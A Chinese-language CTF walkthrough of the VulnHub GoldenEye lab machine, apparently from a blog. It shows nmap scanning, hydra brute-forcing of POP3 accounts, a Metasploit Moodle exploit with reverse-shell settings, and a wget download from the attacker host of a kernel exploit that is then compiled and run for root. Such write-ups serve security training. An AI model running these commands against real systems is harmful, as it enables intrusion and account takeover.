前言

“操千曲而后晓声,观千剑而后识器”,下载靶机项目实战提升自我,这是一个涉及到渗透与CTF联合的实战项目。

Descript: 我最近完成了一个OSCP类型的易受攻击机器的创建,它以伟大的詹姆斯·邦德电影(甚至更好的n64游戏)《黄金眼》为主题。目标是获得根并捕获秘密的GoldenEye代码-flag.txt。

我认为它是中级的,它有各种各样的技术来获得root-无漏洞开发/缓冲区溢出。完成OSCP后,我认为这将是一个很好的练习,再加上有一点CTF的味道。

靶场环境

kali:192.168.31.153

靶机:192.168.31.67

靶机下载地址: https://www.vulnhub.com/entry/goldeneye-1,240/

下载完导入到vm即可

GoldenEye靶场渗透实战

访问靶机地址得到以下界面,得到ip,以及web页面,能够进行信息收集,获取端口信息,文件路径和对当前web页面进行检测。

获取端口和检测当前web页面这两个信息收集方向可以作为此次渗透入手点

从上方显示的页面可以了解到他要我们去访问/sev-home/这一目录,而此目录是一个js登录点,很明显要我们无法爆破密码而是要我们自己在当前页面寻找线索破解

返回去原始界面,ctrl + u 获取前端页面源码,发现页面引用了一个terminal.js文件,其中注释了一段话,大致意思是告诉Boris,Natalya能破解他的密码,并且还将编码后的密码写了下来,看到编码是html实体,直接用html实体解码得到 InvincibleHack3r,根据这段话逻辑是发给Boris的,所以用户就是boris,解码得到的字符就是其密码

用户boris,密码InvincibleHack3r,登录成功,得到页面一段英文提示:要向pop3服务存在的非默认高端口发送邮件,言外之意就是要我们找到那个高端口进行爆破登录

利用nmap扫描神器对192.168.31.67扫描高端口 nmap -p 1024-65535 192.168.31.67

发现了55006,55007两个高端口

得到两个pop3端口,根据页面提示我们要对boris,natalya这两个账号进行爆破

预先准备一个密码本,一个写入两个用户名的文本
使用九头蛇hydra爆破
echo 'boris' >> golden.txt
echo 'natalya' >> golden.txt
cat golden.txt

hydra爆破55007
hydra -L golden.txt -P password.txt 192.168.31.67 -s 55007 pop3
得到用户/密码
boris/secret1!
natalya/bird

利用nc登录pop3查看邮箱信息

nc 192.168.31.67 55007
user boirs //登录用户boris
pass secret1! //登录密码secret1!
retr 1 //查看邮件1

第一封邮件:Boris,我是管理员。你可以在这里与同事和学生进行电子交流。我不会扫描电子邮件的安全风险,因为我信任你和这里的其他管理员。

第二封邮件:Boris,我可以破解你的密码

第三封邮件:原文太长,我直接读取含义:要去登录xenia账号查找更多线索

登录natalya账号

第一封:不要再破解boris密码

第二封:获得xenia的账号密码 xenia/RCP90rulez! 并且要在/etc/hosts文件中添加severnaya-station.com域名才能访问severnaya-station.com/gnocertdir

在kali访问severnaya-station.com/gnocertdir地址:发现是一个moodle的开源CMS系统,继续点击界面的相关功能发现需要登陆,利用刚才在邮件中发现的用户名和密码登录

紧接着尝试对xenia账号进行信息收集,最终发现有一个邮件提示到有关于doak的电子邮箱

照旧继续用hydra破解得到 doak/goat 并且登录获取邮件信息

登录查看第一封邮件得到web页面登录用户密码 dr_doak/4England!

回到web界面登录dr_doak,在私人文件里面查找到一个文件夹,其中里面的文本提示了访问一个图片链接:/dir007key/for-007.jpg

访问图片链接并下载下来

一般图片线索都有可能是采用了隐写,kali可用的几种隐写工具:1.kali自带的binwalk 图片路径。2.利用exiftool 图片名称。3.利用strings 图片名称,这里我直接采用strings

破解得到一串bas64编码的字符,使用burp的decode base64解码得admin的密码:xWinter1995x!

登录admin账号收集信息,发现并没有什么有用的,但是发现了moodle是2.2.3版本的,在百度搜了一下发现Moodle有一个CVE-2013-3630漏洞,到此有两种方法继续getshell,1.选择去网上下载exp脚本获取权限,2.利用msf工具集成的漏洞exp进行getshell

以下我选择msf的集成化环境做测试,打开msf搜索moodle就会浮现已经集成好的漏洞exp

msfconsole    //开启msf
search moodle //搜索moodle相关的exp
use 1 //使用编号1的exp
show payloads //查找载荷
set payload 5 //设置载荷5
set PASSWORD xWinter1995x! //设置用户密码
set RHOSTS severnaya-station.com //设置目标站点
set targeturi /gnocertdir //设置目标路径
set lhost 192.168.31.153 //设置本地站点
show options //查看当前配置
run //运行

发现getshell失败,找了一圈,尝试了很多次发现在

Page path

Home / ► Site administration / ► Plugins / ► Text editors / ► TinyMCE HTML editor处有拼写引擎和语言识别,可以选择PSpellShell(Power Spell Shell ),Google Spell,PShell,我们选择PSpellShell可以与msf的exp形成互联,保存配置(save change)

回到msf重新执行exp,会返回一个后台终端,到此getshell成功

接着我们对后台进行信息收集,查找系统漏洞

python -c 'import pty; pty.spawn("/bin/bash")'  //一开始获取的权限没有linux框架,使用shell pty转化

使用cat /proc/version命令查看内核版本信息,发现是Linux ubuntu 3.13.0-32

在浏览器搜索该版本是否存在漏洞,ubuntu 3.13.0存在内核溢出漏洞,在kali中编号为37292的c脚本,在kali使用searchsploit命令检索相关漏洞exp执行脚本

searchsploit 37292   //检索编号
find / -name 37292.c //查找路径

cp /usr/share/exploitdb/exploits/linux/local/37292.c  /root/37292.c  //复制到root路径下
vim 37292.c //修改脚本,将gcc 改为cc,保存退出

使用python开启本地目录http服务
python3 -m http.server 8081
在msf获取到的后台执行以下命令,使用wget命令下载脚本
wget http://192.168.31.153:8081/37292.c

使用cc编译37292.c脚本为exp
cc -o exp 37292.c
chmod +x exp //给予执行权限
./exp //执行脚本

总结

1.信息收集:(1)前端js信息收集 (2)nmap端口扫描 (3)html实体解码 (4)收集用户敏感信息 (5)内核系统信息收集 (5)图片隐写

2.渗透:(1)hydra暴力破解 (2)利用msf集成exp getshell (3)内核溢出漏洞利用

3.多多动手实战,继续加油!

GoldenEye项目实战的更多相关文章

  1. Asp.Net Core 项目实战之权限管理系统(4) 依赖注入、仓储、服务的多项目分层实现

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  2. 给缺少Python项目实战经验的人

    我们在学习过程中最容易犯的一个错误就是:看的多动手的少,特别是对于一些项目的开发学习就更少了! 没有一个完整的项目开发过程,是不会对整个开发流程以及理论知识有牢固的认知的,对于怎样将所学的理论知识应用 ...

  3. 【腾讯Bugly干货分享】React Native项目实战总结

    本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/577e16a7640ad7b4682c64a7 “8小时内拼工作,8小时外拼成长 ...

  4. Asp.Net Core 项目实战之权限管理系统(0) 无中生有

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  5. Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  6. Asp.Net Core 项目实战之权限管理系统(2) 功能及实体设计

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  7. Asp.Net Core 项目实战之权限管理系统(3) 通过EntityFramework Core使用PostgreSQL

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  8. Asp.Net Core 项目实战之权限管理系统(5) 用户登录

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  9. Asp.Net Core 项目实战之权限管理系统(6) 功能管理

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  10. Asp.Net Core 项目实战之权限管理系统(7) 组织机构、角色、用户权限

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

随机推荐

  1. C#中抽象方法与虚方法的区别详解及示例

    1. 抽象方法与虚方法的区别   先说两者最大的区别:抽象方法是需要子类去实现的.虚方法是已经实现了的,可以被子类覆盖,也可以不覆盖,取决于需求.因为抽象类无法实例化,所以抽象方法没有办法被调用,也就 ...

  2. [nefu]C++程序设计与分析实验 - 锐格

    [nefu]C++程序设计与分析实验 - 锐格 第二章 C++基础 5330 #include<iostream> #include<iomanip> using namesp ...

  3. 驱动开发:内核使用IO/DPC定时器

    本章将继续探索驱动开发中的基础部分,定时器在内核中同样很常用,在内核中定时器可以使用两种,即IO定时器,以及DPC定时器,一般来说IO定时器是DDK中提供的一种,该定时器可以为间隔为N秒做定时,但如果 ...

  4. 在EF Core中为数据表按列加密存储

    假设有User表 public class User : Entity<int> { public int Id { get; set; } public string UserName ...

  5. 高尔顿钉板的统计意义—R实现

    提到高尔顿,人们总是把他和钉板实验联系在一起,偶尔也会有人提及他是达尔文的表弟.实际上,作为维多利亚时代的人类学家.统计学家.心理学家和遗传学家,同时又是热带探险家.地理学家.发明家.气象学家,高尔顿 ...

  6. 四月十号java知识点

    1.数组:若干个相同数据类型元素按照一定顺序排列的集合2.JAVA语言内存分为栈内存和堆内存3.方法中的一些基本类型变量和对象的引用变量都在方法中的栈内存中分配4.堆内存用来存放new运算符创建的数组 ...

  7. ILLA Cloud: 调用 Hugging Face Inference Endpoints,开启大模型世界之门

    一个月前,我们 宣布了与 ILLA Cloud 与达成的合作,ILLA Cloud 正式支持集成 Hugging Face Hub 上的 AI 模型库和其他相关功能. 今天,我们为大家带来 ILLA ...

  8. day32:进程&进程join&守护进程deamon

    目录 1.进程的基本概念 2.进程初体验 3.join:先子后主 4.守护进程:deamon 5.使用自定义类的方式创建进程 6.两张和进程相关的图 进程的基本概念 什么是进程? 进程就是正在运行的程 ...

  9. Redis(六)集群

    Redis集群 1.1 存在的问题 容量不够Redis如何扩容 并发写操作,Redis如何分摊 当主机或者从机宕机,薪火相传.反客为主等主从模式都会导致ip发生变化,应用程序中的配置需要对应修改主机地 ...

  10. CSS实现段落首行缩进两个字符

    段落前面空两个字的距离,不要再使用空格了,对于文字,需要使用4个 才会显示汉字2个字符空格的效果. 用CSS实现段落首缩进两个字符,应该使用首行缩进text-indent.text-indent可以使 ...